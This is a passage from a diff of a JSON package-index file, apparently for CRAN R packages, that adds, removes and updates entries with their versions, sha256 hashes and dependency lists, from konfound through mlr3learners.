"0dfd575xlspzhkv37cj7zwk2r1zm6yya58qa8b6ky74n0lpbi14d", "depends": ["openxlsx", "purrr", "readxl"] }, "kidsides": { @@ -81805,6 +81505,12 @@ "sha256": "1sxz1hzbx41z3w1qf2zf8fmf3pd64jrnc37ndxx28yc70vhwjd1n", "depends": [] }, + "knobi": { + "name": "knobi", + "version": "0.1.0", + "sha256": "0cm2ripqiqak14xdf2n64h7zfbaa3cpv7l28i3zlw09lmz52wd66", + "depends": ["corrplot", "dplyr", "ggplot2", "gridExtra", "optimx", "plot3D", "tidyr"] + }, "knockoff": { "name": "knockoff", "version": "0.3.6", @@ -81873,9 +81579,9 @@ }, "konfound": { "name": "konfound", - "version": "1.0.2", - "sha256": "03p7rsrag1xskccg42rx4dz1f42dah1bjqkfca64cs0rxvq4g2yk", - "depends": ["broom", "broom_mixed", "crayon", "dplyr", "ggplot2", "ggrepel", "lavaan", "lme4", "pbkrtest", "purrr", "rlang", "tibble", "tidyr"] + "version": "1.0.3", + "sha256": "1cym7bby43c92vs1x502941r4ssrjdr9c5abgxnli4lcwy7wbalz", + "depends": ["broom", "broom_mixed", "crayon", "dplyr", "ggplot2", "ggrepel", "lavaan", "lme4", "pbkrtest", "ppcor", "purrr", "rlang", "tibble", "tidyr"] }, "kosel": { "name": "kosel", @@ -82165,12 +81871,6 @@ "sha256": "082gyfqaakl08d016p7sk1qapdkpry82sbxcsj46z50ls7sza3ab", "depends": ["ggplot2", "magrittr", "rlang", "scales", "smooth"] }, - "labourR": { - "name": "labourR", - "version": "1.0.0", - "sha256": "0skr8qr1m849l3gpcsn5bjxyjczlzzmsm2j6xcmxv33lf95qg6gi", - "depends": ["cld2", "data_table", "magrittr", "stopwords", "stringdist"] - }, "labsimplex": { "name": "labsimplex", "version": "0.1.2", @@ -82371,14 +82071,14 @@ }, "langevitour": { "name": "langevitour", - "version": "0.8.0", - "sha256": "17194spqad0aqqglqxxm57l25196frs1x2l9fj2h9xb67187w7ki", + "version": "0.8.1", + "sha256": "0ji2dzn74m3b4b0r9hd8qrzz74qbh8b9fd9iag42hd9lrsc5n5sv", "depends": ["RANN", "assertthat", "crosstalk", "htmlwidgets"] }, "languageR": { "name": "languageR", - "version": "1.5.0", - "sha256": "1iipnr2b4hd2w718prbh075j56m5xnchlcb2vg26m16qpydp6afn", + "version": "1.6", + "sha256": "0x7r80v3rpjh961q6jgdy8bca894wgfvhp5vgqd6l8nqny1y5qrp", "depends": [] }, "languagelayeR": { @@ -82405,12 +82105,6 @@ "sha256": "0hk7rklkic4frp5w6k9kn5xi8hf3s87bgbjm58ca79sh3iyl0cnv", "depends": ["R_matlab", "dplyr", "ggplot2", "reshape2", "rlang", "tidyr"] }, - "lar": { - "name": "lar", - "version": "0.1-2", - "sha256": "0qda0y4ag10kg83wxs3z754kc8c1dg2rwciy64klk7an4ln43i5b", - "depends": ["data_table", "treemap", "xlsx"] - }, "lares": { "name": "lares", "version": "5.2.13", @@ -82521,8 +82215,8 @@ }, "latte": { "name": "latte", - "version": "0.2.1", - "sha256": "1dcwxxj3yran5a3a8vvdfmx4ap69ql2jncxvmci4p4vcw4ki9j9g", + "version": "0.2.2", + "sha256": "0a6jw2yxyfl7hnj4w7ah5cyrkqas1ixfyxd8h3sqphilv2617946", "depends": ["dplyr", "ggplot2", "glue", "magrittr", "memoise", "mpoly", "stringr", "usethis"] }, "lattice": { @@ -82713,8 +82407,8 @@ }, "lcars": { "name": "lcars", - "version": "0.4.0", - "sha256": "1v1fdnni4smkmsvsf09k96hf2503djlkyrglb5dc6yz66dsdg2bj", + "version": "0.4.1", + "sha256": "1dkn3ssmmis6cajg0zfl3ngrzbz83gzxidpz559qcxsq258m0gid", "depends": ["ggplot2", "shiny", "trekcolors"] }, "lcc": { @@ -82897,12 +82591,6 @@ "sha256": "1sxq38dcjhn1bkav7fxglzk8nwi5p32jia2nhijcq5j1766pp1yj", "depends": ["RColorBrewer", "crosstalk", "htmltools", "htmlwidgets", "jquerylib", "leaflet_providers", "magrittr", "png", "raster", "scales", "sp", "viridisLite", "xfun"] }, - "leaflet_esri": { - "name": "leaflet.esri", - "version": "1.0.0", - "sha256": "01bwzxh2rdhpvvazaxsji8axl765q1ix1fdxla6i61nvqkpw3dz1", - "depends": ["htmltools", "leaflet", "leaflet_extras"] - }, "leaflet_extras": { "name": "leaflet.extras", "version": "2.0.1", @@ -83025,8 +82713,8 @@ }, "leastcostpath": { "name": "leastcostpath", - "version": "2.0.12", - "sha256": "0nkahghj9vvhcsq8h39y8kvcpgglwhnb0wcdhvkqzwnsparl58kd", + "version": "2.0.13", + "sha256": "05liw99iqi6nrz8wh272z878wa6cznq5nspm9d2hinc42rg1kjc6", "depends": ["Matrix", "doParallel", "foreach", "gstat", "igraph", "sf", "terra"] }, "ledger": { @@ -83049,8 +82737,8 @@ }, "legendry": { "name": "legendry", - "version": "0.2.1", - "sha256": "1nzw8r0iamgvmi9j40jn66dak3g5fdv41hjhz2pmf6p72vabf1cb", + "version": "0.2.2", + "sha256": "0mcfqvs2fb3g4q062w9rpb8h751n7g6r73xq05hg7cfn0x83s3ax", "depends": ["cli", "ggplot2", "gtable", "lifecycle", "rlang", "scales", "vctrs"] }, "legion": { @@ -83359,6 +83047,12 @@ "sha256": "1bvysrq2s3951vr5ab1jzbz4hyx5j04yzh04vxdpd287bm4y08rh", "depends": ["mvtnorm"] }, + "libdeflate": { + "name": "libdeflate", + "version": "1.24-0", + "sha256": "1dbhnr6z1m2b0ykgqgkazyadczwifiihffay0zci51fh0lkmm848", + "depends": [] + }, "libgeos": { "name": "libgeos", "version": "3.11.1-3", @@ -83367,10 +83061,16 @@ }, "libimath": { "name": "libimath", - "version": "3.1.9", - "sha256": "1ar54j2s6a88gbbakp0mqbqdnxxzsq3rj5wrdzrnf3svw04s34mq", + "version": "3.1.9-1", + "sha256": "1gxnbs3vh38a8m2nxjlaay8n4b654lad55m34akmdf1ahiwpamic", "depends": [] }, + "libopenexr": { + "name": "libopenexr", + "version": "3.4.0", + "sha256": "03asa08aprylq3r3n2pbpjlw5kxl4qy816474ii6qaprhmxsv3kg", + "depends": ["libdeflate", "libimath"] + }, "libr": { "name": "libr", "version": "1.3.9", @@ -83403,8 +83103,8 @@ }, "lidR": { "name": "lidR", - "version": "4.1.2", - "sha256": "1sx903krq6hn9gdz3k7kq88yxzm6hh8wpcjkvgzbrf4z31fc6lp4", + "version": "4.2.1", + "sha256": "0p8ripfni2n84wq2rihcfi4abhrbiqrhnk5sn3qvcygk21ls92az", "depends": ["BH", "Rcpp", "RcppArmadillo", "classInt", "data_table", "glue", "lazyeval", "rgl", "rlas", "sf", "stars", "terra"] }, "lidaRtRee": { @@ -83443,12 +83143,6 @@ "sha256": "1k4ibf2x90xgmzaq47vf9wrsh6a2fp2lg1l8bq89632bx33x795d", "depends": ["cli", "glue", "rlang"] }, - "lifelogr": { - "name": "lifelogr", - "version": "0.1.0", - "sha256": "1wygvw61ygpww0kahxhmjdncwg4zc2cshs0brzw18nfqaj8vpfav", - "depends": ["R6", "dplyr", "fitbitScraper", "ggplot2", "lazyeval", "lubridate", "modelr", "plyr", "shiny", "stringr", "tibble", "tidyr"] - }, "lifepack": { "name": "lifepack", "version": "0.1.0", @@ -83553,8 +83247,8 @@ }, "limSolve": { "name": "limSolve", - "version": "1.5.7.2", - "sha256": "1pdsvynqvx43dc0zlw9k2np3wdlr5pva8gl5b387wzglh5dyarx2", + "version": "2.0", + "sha256": "1gqi8gprvpdvvksjrxyf4693m6y7apdx0mw4jgrr7csjd36v82a0", "depends": ["MASS", "lpSolve", "quadprog"] }, "lime": { @@ -83569,17 +83263,11 @@ "sha256": "1f5s1m544fsm0dv5kd5g198f9f2lkz89f58pf28d4hvx89cmf103", "depends": ["data_table", "httr", "jsonlite"] }, - "liminal": { - "name": "liminal", - "version": "0.1.2", - "sha256": "1ka16fm0gzhpydlk5pjf1vjcb7ygx1d3iv4z8cs6ywzrq4bb5r61", - "depends": ["dplyr", "jsonlite", "matrixStats", "miniUI", "rlang", "shiny", "tourr", "vegawidget"] - }, "limonaid": { "name": "limonaid", - "version": "0.1.5", - "sha256": "04w9g0gv1cihljvmh1y40ygckhhv4jrg970913npvk5nc3id3bqd", - "depends": ["R6", "httr", "jsonlite"] + "version": "25.5.5", + "sha256": "0c5mplz472jmxf6s2mxkqcv6h0k6b60nr1q1f616llvqkwqznybm", + "depends": ["R6", "httr", "jsonlite", "xml2"] }, "limorhyde": { "name": "limorhyde", @@ -83703,8 +83391,8 @@ }, "lingtypology": { "name": "lingtypology", - "version": "1.1.20", - "sha256": "02xhk9ncgsgqygwszdzkrzlkg2zikfhlfan00wh0w0h0d6gd6z47", + "version": "1.1.22", + "sha256": "14bk3dd4811vs7m02b730h33i696rvz8gzb5rri0c2qfwcjvmka9", "depends": ["jsonlite", "leaflet", "leaflet_minicharts", "stringdist"] }, "linguisticsdown": { @@ -84189,8 +83877,8 @@ }, "lmtp": { "name": "lmtp", - "version": "1.5.1", - "sha256": "06i8ijj8vk3qsrikpnsqivxaji9x9zai303xzb9rprga39blhh3k", + "version": "1.5.2", + "sha256": "1blh19rgglbkjdzqka359kcic216f7dbx0sinrqibhdhfrkvyz1w", "depends": ["R6", "SuperLearner", "checkmate", "cli", "data_table", "future", "generics", "ife", "isotone", "lifecycle", "nnls", "origami", "progressr"] }, "lmviz": { @@ -84361,12 +84049,6 @@ "sha256": "1bip9x45kdnwc14rvk3ckzfbs32yc2wiid1ypmbbin4mk7364zxk", "depends": [] }, - "locpolExpectile": { - "name": "locpolExpectile", - "version": "0.1.1", - "sha256": "1phwcnbk1vmdk3qmfx2nd6crplly2lb8gb57yl67ky3c4sryh358", - "depends": ["expectreg", "lestat", "locpol", "matrixcalc", "quantreg"] - }, "locuszoomr": { "name": "locuszoomr", "version": "0.3.8", @@ -84489,8 +84171,8 @@ }, "loggit2": { "name": "loggit2", - "version": "2.3.1", - "sha256": "1y971pb8v5s57hnvbrz11m2jwfxbid5dwlj4asazd5vf9xq04adx", + "version": "2.4.0", + "sha256": "0y22ilr0jvicwv359h92c3vnlr8f71zsj5jzc0vff3xxhrrdjjyd", "depends": [] }, "logiBin": { @@ -84577,6 +84259,12 @@ "sha256": "1k9izgna3bfi8gvnpks85gj3zv3lp35991ml58q7pcqqr78giii2", "depends": ["gnm", "qvcalc"] }, + "lognGPD": { + "name": "lognGPD", + "version": "0.1.0", + "sha256": "1rlbn48yd0gank5sf2k731irfm1hksm5y4p7ska6b33m4gm0i3lf", + "depends": ["EnvStats", "LNPar", "Rdpack", "evd"] + }, "lognorm": { "name": "lognorm", "version": "0.1.10", @@ -84771,14 +84459,14 @@ }, "loon": { "name": "loon", - "version": "1.4.1", - "sha256": "096501q5lxxi9qcnziambi2zj09s8gwv6x85qjqa50bysqfjzdn2", + "version": "1.4.2", + "sha256": "037b7h78fdbrpjc02gs8h9dx06inkkj19haiap6y36828ppip8ap", "depends": ["gridExtra"] }, "loon_data": { "name": "loon.data", - "version": "0.1.3", - "sha256": "0sdld3yggjadykqaljf0p4cymy2c47yaxjphc6jwyragzpv4awzw", + "version": "0.1.4", + "sha256": "01jf411n8l4bwgx2h0az2wgaakz1drbkwb0j1lzbaw6rj13plcas", "depends": [] }, "loon_ggplot": { @@ -84799,6 +84487,12 @@ "sha256": "1ggy3kkz86lk332pnlihc1i2bki3nks7r2bvl6bprcmds9lg689i", "depends": ["MASS", "loon", "loon_ggplot", "tibble", "tourr"] }, + "loopevd": { + "name": "loopevd", + "version": "1.0.0", + "sha256": "15l3kprp1yj3byciaijck6k957izypjfhfwmvpzvwnbvdrhb5dp4", + "depends": ["evd", "ncdf4", "terra"] + }, "lorad": { "name": "lorad", "version": "0.0.1.0", @@ -84975,8 +84669,8 @@ }, "lrstat": { "name": "lrstat", - "version": "0.2.13", - "sha256": "0clr1831mcb4lj3jqdw59l382ivxfl3a7hd8vlfarbw7nimysshg", + "version": "0.2.14", + "sha256": "0i4303v7h8lil5lg67ff09s8cvy7rnmgi3vhlrggfc8qc4nm7wjc", "depends": ["Rcpp", "lpSolve", "mvtnorm", "shiny"] }, "lsa": { @@ -84991,12 +84685,6 @@ "sha256": "0nflqz1zwgyrk75jyyizv69jvxcskz94pp0m325x8210ldhrdfd9", "depends": ["cli", "mvtnorm", "polycor"] }, - "lsbclust": { - "name": "lsbclust", - "version": "1.1", - "sha256": "1pbai58pfvhfcrd0nj13d54vrn9wrx2xapqhgqa1pkrjwbk5amj7", - "depends": ["Rcpp", "clue", "doParallel", "foreach", "ggplot2", "gridExtra", "mvtnorm", "plyr", "reshape2"] - }, "lsbs": { "name": "lsbs", "version": "0.1", @@ -85035,8 +84723,8 @@ }, "lsm": { "name": "lsm", - "version": "0.2.1.4", - "sha256": "0dfjz547fkysghv5mb5xhc91aqijz7falir1rkwshib55bb3ijl7", + "version": "0.2.1.5", + "sha256": "0gpca0bf51ihs1w6cp1awrs85jzcbrdkhd9icjnbnsawmyrky55n", "depends": ["dplyr", "ggplot2"] }, "lsmeans": { @@ -85171,12 +84859,6 @@ "sha256": "166787agrp4a0gnm8vs72q6cgr1vha1g3d6yhdsla76l394rzq5n", "depends": ["cli", "lubridate"] }, - "luca": { - "name": "luca", - "version": "1.0-6", - "sha256": "0zrxrwpk7iblpysd4fbh50s5bmvd5l1bzbd8rdyk06wby6bcs1rk", - "depends": ["genetics", "survival"] - }, "lucas": { "name": "lucas", "version": "1.0", @@ -85287,28 +84969,16 @@ }, "lzstring": { "name": "lzstring", - "version": "0.1.3", - "sha256": "1vyh0lbnz2mpz2zs3pbh9dbabh9k774hz5qv3ir84blmkmfi1hmf", + "version": "0.2.0", + "sha256": "02ij8nrgwzz4201kiskvsh101y2qj896k1h7kqhf5zp2j98pipmr", "depends": ["cpp11"] }, - "m2b": { - "name": "m2b", - "version": "1.0", - "sha256": "0agzw67mmwrw1f61yn24z5w1pgjssdapg3li0a53i3ylnij45mzr", - "depends": ["caTools", "caret", "e1071", "geosphere", "ggplot2", "randomForest"] - }, "m2r": { "name": "m2r", - "version": "1.0.2", - "sha256": "0vwvpalap4z5x2004c92n0ka7i4l64ry5n8pmxs4vjpd8fyx91gc", + "version": "1.0.3", + "sha256": "177zi42rbnaggpgvllq38q26dnpy3b72fpprz4magn0jdj108sga", "depends": ["Rcpp", "gmp", "memoise", "mpoly", "stringr", "usethis"] }, - "m5": { - "name": "m5", - "version": "0.1.1", - "sha256": "0cw9b31j564qc5s1b37r1p425p4gndlzgwy34cn0m2c65jwiyf6h", - "depends": ["data_table", "lubridate", "stringi"] - }, "m61r": { "name": "m61r", "version": "0.0.3", @@ -85353,8 +85023,8 @@ }, "mFLICA": { "name": "mFLICA", - "version": "0.1.6", - "sha256": "02h53v124j38scl816ci8z5wfcrmh9p6m08fk2hhw973h7c6xbmy", + "version": "0.1.7", + "sha256": "18d69nw0arxfzap6wal3masl0f73srf88c7kawib4pfx51i4qky5", "depends": ["ggplot2"] }, "mFilter": { @@ -85611,8 +85281,8 @@ }, "magick": { "name": "magick", - "version": "2.8.6", - "sha256": "19fli9blk5hmn9s3v9ppxpnyfyf9xbbv21kj3hn07382bfmbwf9h", + "version": "2.8.7", + "sha256": "01pjp5hnipikl1ip0v1i38j7qfw2w8qzgwwrxs3nv3pyg5z8anim", "depends": ["Rcpp", "curl", "magrittr"] }, "magickGUI": { @@ -85623,8 +85293,8 @@ }, "magmaR": { "name": "magmaR", - "version": "1.0.3", - "sha256": "04c1wvz8r6msc6jq6xv5w75sqza8xcfnawzayniyzdg6k2lr7hr5", + "version": "1.0.4", + "sha256": "0mgn9547s5330r6c8i1pk8ldz047idkna2xgdsxylmz75lfmiaxx", "depends": ["crul", "jsonlite"] }, "magree": { @@ -85749,8 +85419,8 @@ }, "malariaAtlas": { "name": "malariaAtlas", - "version": "1.6.3", - "sha256": "1ipjhds73pcw30y3ks9glqlxng97fnavvpi1v9s01jr7m0l587xs", + "version": "1.6.4", + "sha256": "173zkkjhk4wfgmzk9fwb9s7i6hgizxnkiq3xvv0lizqk4kwyf5r4", "depends": ["dplyr", "future_apply", "ggnewscale", "ggplot2", "gridExtra", "httr", "jsonlite", "lifecycle", "lubridate", "ows4R", "rlang", "sf", "stringr", "terra", "tidyr", "tidyterra", "xml2"] }, "malaytextr": { @@ -85807,12 +85477,6 @@ "sha256": "1dnacgkdjmn7yiqk71qx5jgfipbpvqfdnrdd8wm0b9p8kgw4x7n4", "depends": ["MCMCpack", "combinat", "igraph", "mclust"] }, - "manhattanly": { - "name": "manhattanly", - "version": "0.3.0", - "sha256": "007qvfzq8fyvnirywfpl6n1gqxxizz32z4xbgnnx7riyb7nxl1qh", - "depends": ["ggplot2", "magrittr", "plotly"] - }, "manhplot": { "name": "manhplot", "version": "1.1", @@ -85851,8 +85515,8 @@ }, "manydata": { "name": "manydata", - "version": "1.0.1", - "sha256": "1lbhkji803v3jf846wfpgj8mk3fs5kakdkh7n6l2l1grjkpbxmyp", + "version": "1.0.2", + "sha256": "00s8v3s8wap9rns4qssna6cp9q9j3nk2hdhj3jmndxx10xici6xz", "depends": ["cli", "dplyr", "dtplyr", "ggplot2", "httr", "jsonlite", "messydates", "purrr", "remotes", "stringr", "tidyr"] }, "manydist": { @@ -85965,9 +85629,9 @@ }, "mapgl": { "name": "mapgl", - "version": "0.2.1", - "sha256": "05fmsswbbd21n8q7s62c9hcmbk8c12rjlifwf56bw8icbc7z2a9b", - "depends": ["base64enc", "classInt", "geojsonsf", "htmltools", "htmlwidgets", "rlang", "sf", "shiny", "terra"] + "version": "0.2.2", + "sha256": "1g1flhb547j2m1fkvf6v8jhj4a1z1bxj8lxswbx9n6zqc5r86z8s", + "depends": ["base64enc", "classInt", "geojsonsf", "htmltools", "htmlwidgets", "rlang", "sf", "shiny", "terra", "viridisLite"] }, "mapi": { "name": "mapi", @@ -86019,9 +85683,9 @@ }, "mappeR": { "name": "mappeR", - "version": "2.0.2", - "sha256": "0sbf1armmhsjijm9l8q6vm17ws1k032dyi1s2lw8hcz5s3511hby", - "depends": ["fastcluster", "igraph"] + "version": "2.1.0", + "sha256": "1ph2kslylbjwjfals697f7ggj55risbsf5f9p78hxwq5vfccbldz", + "depends": ["fastcluster"] }, "mappings": { "name": "mappings", @@ -86055,8 +85719,8 @@ }, "maps": { "name": "maps", - "version": "3.4.2.1", - "sha256": "1vsbjk4kqjd37j3aqz7nqc9zlzjdpprq1cp80pmdkz7n91y5rqqb", + "version": "3.4.3", + "sha256": "1f48spc254c0gvbyi57gxx5i5kyvszhgp29zvc6jhh806d2ljv9v", "depends": [] }, "mapsFinland": { @@ -86133,8 +85797,8 @@ }, "maraca": { "name": "maraca", - "version": "0.7.1", - "sha256": "1mdjsm2rdrbzmkrfqb3v960mmm6xg4msb4nczr7sy5x4s3s7w2la", + "version": "1.0.0", + "sha256": "130ammd7vkccw8j3wy5rrglfrcgivzn2qygfwcrxmfiv4xy8w9i0", "depends": ["checkmate", "dplyr", "ggplot2", "hce", "lifecycle", "patchwork", "tidyr"] }, "marble": { @@ -86169,8 +85833,8 @@ }, "marg": { "name": "marg", - "version": "1.2-2.1", - "sha256": "1r6rl7dhvm8dghm7pm4hfw3924qja65hczl6d47v9ixnv4rxyzr9", + "version": "1.2-4", + "sha256": "19jcjjx2rpyqgy2rqjlygxv9b1982z485s1dhlybfbdsrms47cwk", "depends": ["statmod", "survival"] }, "margaret": { @@ -86181,8 +85845,8 @@ }, "marginaleffects": { "name": "marginaleffects", - "version": "0.26.0", - "sha256": "1l78j10y1fv59wijwahb1hz919g5b0w1mi8snvb8mcrgdbwrd60j", + "version": "0.27.0", + "sha256": "1fj5aljdssll3ma5ds5ackgpgi3bliy6zk73d3pmmhjqcmmlnxiz", "depends": ["Formula", "Rcpp", "RcppEigen", "backports", "checkmate", "data_table", "generics", "insight", "rlang"] }, "marginalizedRisk": { @@ -86283,8 +85947,8 @@ }, "marlod": { "name": "marlod", - "version": "0.2.0", - "sha256": "1ymrsl440ci565g0fhjxqj7hzjy0hz9p5lqbm7b052iwk6pa6qbi", + "version": "0.2.1", + "sha256": "0iwa70kdzdf9il7nnkj54ndrmhhac8qzaj4ix033lsrf4bhqpcap", "depends": ["MASS", "knitr", "quantreg", "survival"] }, "marmap": { @@ -86451,8 +86115,8 @@ }, "mathml": { "name": "mathml", - "version": "1.4", - "sha256": "1rjabyzsf060mbakz8zffmchv366y9fgyjg84jdf8662lyzqryvr", + "version": "1.5", + "sha256": "12w8hbvz6sb6mk0vgix80r9ifvzmh1cvcvwdqkr4jprfiw4zxc65", "depends": ["knitr", "rolog", "xfun"] }, "mathpix": { @@ -86613,8 +86277,8 @@ }, "matsindf": { "name": "matsindf", - "version": "0.4.8", - "sha256": "0jvgf87zrd1mrs3rrk4g1mfmf5ja1ww0pqf5cjvdw2id9vvc11jq", + "version": "0.4.10", + "sha256": "1lfwzxlmkzxdxmiicln0fl1xciqkdhjqxk70y984yxl1cnhh7r0i", "depends": ["assertthat", "dplyr", "lifecycle", "magrittr", "matsbyname", "purrr", "rlang", "tibble", "tidyr"] }, "matuR": { @@ -87033,9 +86697,9 @@ }, "mcmcsae": { "name": "mcmcsae", - "version": "0.7.8", - "sha256": "03y1mbdikwg63facvs4jkh670cj01w7s5nyxg1hnzmg3dc22k38j", - "depends": ["GIGrvg", "Matrix", "Rcpp", "RcppEigen", "loo", "matrixStats"] + "version": "0.7.9", + "sha256": "0639yvwk4azsyh2ghmqa1pkl2sk1657jxl0kddkrxwmqkli6w9l8", + "depends": ["GIGrvg", "Matrix", "Rcpp", "RcppEigen", "collapse", "loo"] }, "mcmcse": { "name": "mcmcse", @@ -87399,8 +87063,8 @@ }, "mediation": { "name": "mediation", - "version": "4.5.0", - "sha256": "0i88wvqqw8cmxmh9i78rqzp4s16zhf12dgl9fsk9bhw7hxhhc0i1", + "version": "4.5.1", + "sha256": "0p1s0v8lwbpdny5s1bxn59zv8h2ww1lx9gkahy67jh8kxc5dx3d1", "depends": ["Hmisc", "MASS", "Matrix", "boot", "lme4", "lpSolve", "mvtnorm", "sandwich"] }, "mediationsens": { @@ -87415,12 +87079,6 @@ "sha256": "0dljqg24mkn7bjbbz5dp0z8yb5sl3i4a89rl32grlvwf0z3b1njn", "depends": [] }, - "medicalrisk": { - "name": "medicalrisk", - "version": "1.3", - "sha256": "12p3mjy6lphjajxz7is04cahp0598ip9ixfkdimvw1k8n5hs9mj0", - "depends": ["hash", "plyr", "reshape2"] - }, "medicare": { "name": "medicare", "version": "0.2.1", @@ -87439,12 +87097,6 @@ "sha256": "1xgylvgjcaxw49sy65chwr56iinsmfm0bj32mw1f4ssc6l0bm2ab", "depends": [] }, - "medrxivr": { - "name": "medrxivr", - "version": "0.1.1", - "sha256": "03p5rz6a362wvlcaq2khzyhjivvw62i50846db8p6rj9rwqba228", - "depends": ["bib2df", "curl", "data_table", "dplyr", "httr", "jsonlite", "lubridate", "progress", "purrr", "rlang", "stringr", "tibble"] - }, "meerva": { "name": "meerva", "version": "0.2-2", @@ -87469,12 +87121,6 @@ "sha256": "02npawccc316vwgmk0yna7wvlxzsbdishxzmfd4wgl7g218wjk3m", "depends": ["Matrix"] }, - "mefdind": { - "name": "mefdind", - "version": "0.1", - "sha256": "1w52c5bq0jy38d8lkf9dglw3nr3c8dqvhdk4mmhc3q8r5x3a8cz0", - "depends": ["rvest", "stringr"] - }, "meifly": { "name": "meifly", "version": "0.3.1", @@ -87597,8 +87243,8 @@ }, "merDeriv": { "name": "merDeriv", - "version": "0.2-4", - "sha256": "1piswi4l7ri3251shmanhygipmsw8zg701jqd0am1s76kj16l9cc", + "version": "0.2-5", + "sha256": "1zc4pslim520w1mqn32ijksf5qn9qg66gg1zmrf1iicgbsnhq6ff", "depends": ["Matrix", "lavaan", "lme4", "nonnest2", "numDeriv", "sandwich"] }, "merTools": { @@ -87681,8 +87327,8 @@ }, "messydates": { "name": "messydates", - "version": "0.5.3", - "sha256": "15d22ihq6dlkwqi80r7njizk01sd2am23n441wd6dnsn3yjxhcdk", + "version": "0.5.4", + "sha256": "1i7s9z7sfl7wx6l50jh4q6f9qf0gpsswbmyzk0pd9hysgq4v8a7i", "depends": ["dplyr", "lubridate", "purrr", "stringi"] }, "metR": { @@ -88305,8 +87951,8 @@ }, "mfx": { "name": "mfx", - "version": "1.2-2", - "sha256": "04pwp67i4sn4rf497pgy6qifwvrcmwyxn8x5sn96fy8qyrdzjfhj", + "version": "1.2-4", + "sha256": "15fka16jixyg2823qh6qyfiy9ikz51l7x0lcvs6jpl5hp0vz1szz", "depends": ["MASS", "betareg", "lmtest", "sandwich"] }, "mgarchBEKK": { @@ -88539,8 +88185,8 @@ }, "mice": { "name": "mice", - "version": "3.17.0", - "sha256": "1bin518q7wapz8iy33m1g8rw7w5sa21dds6cgjxymjywbbx17nd3", + "version": "3.18.0", + "sha256": "18nz7v4lkicyqzdaz7992fap0vl86fqvzrm3svsd5vb8gxx0kkn0", "depends": ["Rcpp", "broom", "cpp11", "dplyr", "glmnet", "lattice", "mitml", "nnet", "rpart", "tidyr"] }, "miceFast": { @@ -88633,18 +88279,6 @@ "sha256": "1wnx3j85k2hb21382kakmn6ly9wvskffwha1qm0z8kzb726v9wxi", "depends": ["readxl", "vegan"] }, - "microclass": { - "name": "microclass", - "version": "1.2", - "sha256": "0q6mn1hbi6nk29x2x5a1wcdqp06mjggbrpglk5i8pp4gkqlzhl8q", - "depends": ["Rcpp", "RcppEigen", "RcppParallel", "dplyr", "microcontax", "microseq", "rlang", "stringr", "tibble"] - }, - "microcontax": { - "name": "microcontax", - "version": "1.2", - "sha256": "004g979hyg0asbah7hxr445fidil4ibw1b8pqpjdbgmpm1qgvw7y", - "depends": ["microseq"] - }, "microdiluteR": { "name": "microdiluteR", "version": "1.0.1", @@ -88725,9 +88359,9 @@ }, "micsr": { "name": "micsr", - "version": "0.1-1", - "sha256": "1rjny19h7h2zj2c186dws557h4yy0pcsr14dsbg25nmxplsbz0ml", - "depends": ["Formula", "Rdpack", "dplyr", "generics", "ggplot2", "knitr", "magrittr", "purrr", "rlang", "sandwich", "tibble", "tidyr", "tidyselect"] + "version": "0.1-2", + "sha256": "0f81n5p36a3lrm5dh4ikdlsbv170qyswz0k3k5bmzd3gjzs6x0an", + "depends": ["CompQuadForm", "Formula", "Rcpp", "Rdpack", "generics", "numDeriv", "sandwich", "survival"] }, "micss": { "name": "micss", @@ -88785,8 +88419,8 @@ }, "midrangeMCP": { "name": "midrangeMCP", - "version": "3.1.1", - "sha256": "1yfwyglyxxk4i914m8n148cjydlcg7r16zl8acb1w8h963svirk9", + "version": "3.1.3", + "sha256": "1g9asbrvqp9s1190k0iq53f7sm42h1hpsa6qig1f1jgrr42ffzv2", "depends": ["SMR", "writexl", "xtable"] }, "miebl": { @@ -89001,8 +88635,8 @@ }, "minic": { "name": "minic", - "version": "1.0.1", - "sha256": "0p95vzld2v7j4z25hxi0vkx9y7xdzxnjhsh11k4v63yqfl6iiikx", + "version": "1.0.2", + "sha256": "12ydk498dk3zhgqi3rh1kp8pnffkqr8l7cfasrsc4w24cb6fypqg", "depends": ["Rcpp", "RcppEigen"] }, "minidown": { @@ -89197,12 +88831,6 @@ "sha256": "0iph5nz4hnfgx32xwc8z201ap18b543x8by6hcpkbk8jcbxswhjq", "depends": ["MASS", "Matrix", "foreach", "mlogit", "numDeriv", "ucminf"] }, - "miscset": { - "name": "miscset", - "version": "1.1.0", - "sha256": "1gwi7jnqdf2fa8yk8gmcc7dcv72bbdl7yj3yccj3r5jjk41vdp91", - "depends": ["Rcpp", "data_table", "devtools", "ggplot2", "gridExtra", "xtable"] - }, "miselect": { "name": "miselect", "version": "0.9.2", @@ -89259,8 +88887,8 @@ }, "missForestPredict": { "name": "missForestPredict", - "version": "1.0", - "sha256": "0p9bmphv77f6xxdvnz4zzalbbv8ch3bdyqqy33r78iimg5rnmi5x", + "version": "1.0.1", + "sha256": "00z88ak7wszyl30qlxsahinnvncmqzshg98vjyy6bzg3c1jmryqh", "depends": ["ranger"] }, "missMDA": { @@ -89311,6 +88939,12 @@ "sha256": "0rbkwfq3b7gvq3qwn3acbrdv4npvm5ixz6y7877alraqd0qjg1c8", "depends": ["SIS", "doParallel", "doSNOW", "foreach", "ggplot2", "glmnet", "lightgbm", "plotly"] }, + "missr": { + "name": "missr", + "version": "1.0.1", + "sha256": "1kv9vk2jg0ys1x5sfwspz0ics4pvx9b7yvqcywdf1mmg6xpyam1c", + "depends": ["lifecycle", "norm", "tibble"] + }, "mistr": { "name": "mistr", "version": "0.0.6", @@ -89583,8 +89217,8 @@ }, "mixvlmc": { "name": "mixvlmc", - "version": "0.2.1", - "sha256": "1bx9qvdi5fq69bwa25l9sqcdyihswjhmqrsslmnqfq7wzfxy3d3q", + "version": "0.2.2", + "sha256": "1g9y7phz4vz2x9l7qnjly7hqw2lb7slpqdp0s0956j73k5g0zfrn", "depends": ["Rcpp", "VGAM", "assertthat", "butcher", "ggplot2", "nnet", "pROC", "rlang", "stringr", "withr"] }, "mize": { @@ -89841,8 +89475,8 @@ }, "mlr3batchmark": { "name": "mlr3batchmark", - "version": "0.2.0", - "sha256": "00y3hkr81s13qjz42q48fjfnj4hv6klklm0766sj9ay1bn2v5blj", + "version": "0.2.1", + "sha256": "0x428wdf6ixa5j6a60rxfqn7gvcc0lmxscanxmlxcpzli6j5lgmm", "depends": ["batchtools", "checkmate", "data_table", "lgr", "mlr3", "mlr3misc", "uuid"] }, "mlr3benchmark": { @@ -89907,14 +89541,14 @@ }, "mlr3learners": { "name": "mlr3learners", - "version": "0.11.0", - "sha256": "1fm3r1nxssb14v191vp6d2f9l9p6phrvds5j8hqy004ya7bsqpfr", + "version": 